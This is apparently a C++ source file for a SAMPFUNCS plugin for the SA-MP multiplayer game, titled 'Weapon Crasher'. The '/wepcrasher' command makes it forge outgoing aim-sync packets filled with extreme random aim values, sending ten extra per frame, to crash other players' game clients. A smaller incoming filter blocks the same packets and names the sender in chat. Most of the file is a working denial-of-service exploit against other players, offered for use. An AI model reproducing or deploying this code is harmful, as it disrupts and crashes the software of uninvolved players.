// Weapon Crasher Plugin
// Plugin Created by 0pc0d3R
// Special thanks P3ti and Pabloko
#include <windows.h>
#include <string>
#include <stdlib.h>
#include <assert.h>
#include "CSAMPFUNCS.h"
#include <math.h>
#include <stdio.h>
#include <conio.h>
#include <ctime>
#pragma warning (disable:4700)
////////////////////////////////////////////////////
CSAMPFUNCS *SF = new CSAMPFUNCS();
///////////////////////////////////////////////////
bool weapon_crasher = false;
///////////////////////////////////////////////////////////////////////////////////////////////////////////
float random_float(float a, float b)
{
float random = ((float) rand()) / (float) RAND_MAX;
float diff = b - a;
float r = random * diff;
return a + r;
}
int random(int min, int max)
{
return (rand() % (max - min+1) + min);
}
bool CALLBACK AntiCrasher(stRakNetHookParams *params)
{
if (params->packetId == PacketEnumeration::ID_AIM_SYNC)
{
stAimData AIM;
unsigned short PlayerID;
params->bitStream->IgnoreBits(8);
params->bitStream->Read(PlayerID);
params->bitStream->Read((PCHAR)&AIM, sizeof(stAimData));
if (AIM.byteCamMode == 53 && ((AIM.vecAimPos[2] > 7000.0 || AIM.vecAimPos[2] < -7000.0) ||
(AIM.vecAimf1[2] < -9.9f || AIM.vecAimf1[2] > 9.9f)))
{
memset(&AIM, 0, sizeof(stAimData));
byte Packet;
params->bitStream->ResetReadPointer();
params->bitStream->Read(Packet);
params->bitStream->Read((PCHAR)&AIM, sizeof(stAimData));
params->bitStream->ResetReadPointer();
AIM.vecAimPos[2] = 0.f;
AIM.byteCamMode = 53;
AIM.byteWeaponState = 2;
params->bitStream->ResetWritePointer();
params->bitStream->Write(Packet);
params->bitStream->Write((PCHAR)&AIM, sizeof(stAimData));
static byte flood_delay = 0;
time_t now = time(0);
tm *ltm = localtime(&now);
static time_t tts;
if (flood_delay == 0)
{
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(0, 160, 134), "%s пытается крашнуть вас вепон крашером!",
SF->getSAMP()->getPlayers()->GetPlayerName(PlayerID));
flood_delay += 7;
tts = ltm->tm_sec;
}
else
{
if (ltm->tm_sec != tts)
{
--flood_delay;
tts = ltm->tm_sec;
}
}
}
}
return true;
};
void SendFakeAimSync(stRakNetHookParams *params)
{
stAimData AIM;
memset(&AIM, 0, sizeof(stAimData));
byte Packet;
params->bitStream->ResetReadPointer();
params->bitStream->Read(Packet);
params->bitStream->Read((PCHAR)&AIM, sizeof(stAimData));
params->bitStream->ResetReadPointer();
AIM.vecAimPos[2] = pow(10.f + random_float(0, 1), random_float(6, 9))*(int)random(-1, 1) * 3;
AIM.byteCamMode = 53;
AIM.byteWeaponState = 2;
params->bitStream->ResetWritePointer();
params->bitStream->Write(Packet);
params->bitStream->Write((PCHAR)&AIM, sizeof(stAimData));
};
bool CALLBACK AimingSync(stRakNetHookParams *params)
{
if (params->packetId == PacketEnumeration::ID_AIM_SYNC)
{
if (weapon_crasher == true)
{
stAimData AIM;
memset(&AIM, 0, sizeof(stAimData));
byte Packet;
params->bitStream->ResetReadPointer();
params->bitStream->Read(Packet);
params->bitStream->Read((PCHAR)&AIM, sizeof(stAimData));
params->bitStream->ResetReadPointer();
AIM.vecAimPos[2] = pow(10.f + random_float(0, 1), random_float(6, 9))*(int)random(-1, 1) * 3;
AIM.byteCamMode = 53;
AIM.byteWeaponState = 2;
params->bitStream->ResetWritePointer();
params->bitStream->Write(Packet);
params->bitStream->Write((PCHAR)&AIM, sizeof(stAimData));
byte localware = 0;
do
{
SendFakeAimSync(params);
++localware;
}
while (localware != 10);
}
}
return true;
};
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
void CALLBACK PerformCommand(std::string param)
{
if (weapon_crasher == false)
{
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(0, 163, 82), "Weapon Crasher activated.");
weapon_crasher = true;
}
else
{
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(0, 163, 163), "Weapon Crasher disactivated.");
weapon_crasher = false;
}
};
////////////////////////////////////////////////////////////////////////////////////////////////////
void CALLBACK mainloop( void )
{
static bool init = false;
if( !init )
{
if( !SF->getSAMP()->IsInitialized() )
return;
SF->getSAMP()->registerChatCommand("wepcrasher", PerformCommand);
SF->getRakNet()->registerRakNetCallback(RakNetScriptHookType::RAKHOOK_TYPE_OUTCOMING_PACKET, AimingSync);
SF->getRakNet()->registerRakNetCallback(RakNetScriptHookType::RAKHOOK_TYPE_INCOMING_PACKET, AntiCrasher);
SF->getSAMP()->getChat()->AddChatMessage( D3DCOLOR_XRGB( 0, 82, 163 ), "Weapon Crasher plugin by 0pc0d3R loaded.");
init = true;
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL APIENTRY DllMain( HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved )
{/////
switch ( dwReasonForCall )
{
case DLL_PROCESS_ATTACH:
SF->initPlugin( mainloop, hModule );
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}